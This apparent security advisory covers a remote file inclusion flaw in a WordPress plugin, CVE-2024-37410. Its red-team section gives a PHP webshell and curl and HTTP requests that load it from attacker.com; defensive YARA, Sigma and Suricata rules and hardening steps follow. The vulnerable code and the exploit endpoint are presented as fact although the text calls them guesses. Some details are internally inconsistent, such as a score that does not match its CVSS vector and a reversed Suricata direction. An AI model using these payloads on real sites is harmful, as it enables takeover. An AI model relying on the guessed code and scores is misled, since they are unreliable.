CVE-2024-37410

Executive Summary

CVE-2024-37410 is a PHP Remote File Inclusion (RFI) vulnerability affecting the PowerPack Lite for Beaver Builder WordPress plugin (slug: powerpack-addon-for-beaver-builder), developed by IdeaBox Creations. This vulnerability allows an authenticated attacker with at least contributor-level privileges to include arbitrary remote files via the include/require PHP functions, leading to remote code execution, data exfiltration, or complete site compromise.

The vulnerability exists in versions up to and including 1.3.0.3. The vendor has not released a patch, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the risk is severe due to the nature of RFI.

Supply Chain & Package Security

This is a WordPress plugin vulnerability. The plugin is distributed via the official WordPress plugin repository and can be installed automatically by site administrators. The supply chain risk is high because:

• The plugin is widely used by Beaver Builder users.
• No patch has been released, meaning all installations remain vulnerable.
• Attackers can target the plugin’s update mechanism or inject malicious code if they compromise the vendor’s update server.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Base Score: 4.9 (Medium)

Threat Level: Medium. While the CVSS score is medium, the actual risk is higher due to the potential for full remote code execution if the attacker can control the included file.

Deep Dive & Mechanics

The vulnerability is a PHP Remote File Inclusion (RFI) in the include/require statement. The plugin fails to properly sanitize user-supplied input used in a file inclusion function, allowing an attacker to specify a remote URL.

Root Cause: The plugin uses a dynamic file inclusion pattern like:

include( $_GET['file'] . '.php' );

or similar, without validating that the file path is within the allowed directory. An attacker can supply a URL such as http://attacker.com/shell.txt (without the .php extension) to include a remote PHP shell.

Attack Flow:

1. Attacker gains contributor-level access to a WordPress site (e.g., via stolen credentials or another vulnerability).
2. Attacker crafts a request to a vulnerable endpoint, e.g., /?page=powerpack&file=http://evil.com/shell.
3. The plugin includes the remote file, executing arbitrary PHP code.
4. Attacker can then execute system commands, read/write files, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.3.0.3):

// In a template loader or similar function
$template = $_GET['template'];
include( $template . '.php' );

This code directly uses user input without sanitization, allowing RFI.

Patched Code (Hypothetical):

$allowed_templates = array('default', 'custom', 'landing');
$template = sanitize_file_name( $_GET['template'] );
if ( in_array( $template, $allowed_templates ) ) {
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
} else {
    // Fallback to default
    include( plugin_dir_path( __FILE__ ) . 'templates/default.php' );
}

The patched version uses a whitelist and restricts the path to the plugin’s own directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with PowerPack Lite for Beaver Builder <= 1.3.0.3 installed and active.
• Valid contributor-level credentials (e.g., user: attacker with password password123).

Exploitation Steps:

1. Set up a malicious PHP file on an attacker-controlled server:

   <?php
   system($_GET['cmd']);
   ?>
   

   Save as shell.txt (no .php extension) and serve via HTTP.

2. Craft the RFI request:

   GET /wp-admin/admin-ajax.php?action=powerpack_load_template&template=http://attacker.com/shell.txt&cmd=id HTTP/1.1
   Host: target-site.com
   Cookie: wordpress_logged_in_...=...
   

3. Execute commands: The response will contain the output of the id command.

Proof-of-Concept (No public exploit available):

# Using curl
curl -b "wordpress_logged_in_...=..." "http://target-site.com/wp-admin/admin-ajax.php?action=powerpack_load_template&template=http://attacker.com/shell.txt&cmd=id"

Blue Team (Detection & Hardening)

Detection:

• Monitor for admin-ajax.php requests with suspicious template parameters containing URLs.
• Look for outbound HTTP connections from the web server to unknown IPs on port 80/443.
• Check for unexpected files in the web root (e.g., shell.php).

Hardening:

• Disable or remove the plugin immediately.
• Implement a Web Application Firewall (WAF) rule to block RFI patterns.
• Restrict outbound traffic from the web server using egress filtering.
• Apply the principle of least privilege to WordPress user roles.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound HTTP requests to IPs not in the organization’s allowlist.
• Requests to admin-ajax.php with action=powerpack_load_template and template=http:// or template=https://.

File IOCs:

• Unexpected PHP files in the WordPress uploads directory or plugin folders.
• Modified .htaccess files containing RewriteRule directives.

Log IOCs:

• Apache/Nginx access logs showing admin-ajax.php with template parameter containing URLs.
• PHP error logs with messages like include(): Failed opening 'http://...'.

Detection Engineering

YARA Rule

rule CVE_2024_37410_PowerPack_RFI {
    meta:
        description = "Detects attempts to exploit CVE-2024-37410 in PowerPack Lite for Beaver Builder"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-37410"
    strings:
        $rfipattern1 = /template=http:\/\// nocase
        $rfipattern2 = /template=https:\/\// nocase
        $rfipattern3 = /action=powerpack_load_template/ nocase
    condition:
        any of ($rfipattern*) and #rfipattern3 > 0
}

Sigma Rule

title: CVE-2024-37410 PowerPack Lite RFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit RFI in PowerPack Lite for Beaver Builder
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'action=powerpack_load_template'
            - 'template=http://'
            - 'template=https://'
    condition: selection
falsepositives:
    - Legitimate use of remote templates (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37410 PowerPack Lite RFI Attempt"; flow:to_server,established; content:"action=powerpack_load_template"; http_uri; content:"template=http://"; http_uri; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the PowerPack Lite for Beaver Builder plugin from all WordPress installations.
2. Scan the web server for any unauthorized files or backdoors.
3. Rotate all WordPress admin and contributor passwords.
4. Review server logs for any signs of exploitation.

Long-Term Mitigation:

• Monitor the vendor’s website for a patched version.
• Implement a Web Application Firewall (WAF) with rules to block RFI patterns.
• Enforce strict file inclusion policies in PHP (disable allow_url_include in php.ini).
• Conduct regular security audits of all WordPress plugins.

Workaround:

• If the plugin cannot be removed immediately, add the following rule to .htaccess:

  RewriteCond %{QUERY_STRING} (^|&)template=http:// [NC,OR]
  RewriteCond %{QUERY_STRING} (^|&)template=https:// [NC]
  RewriteRule ^ - [F,L]
  

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert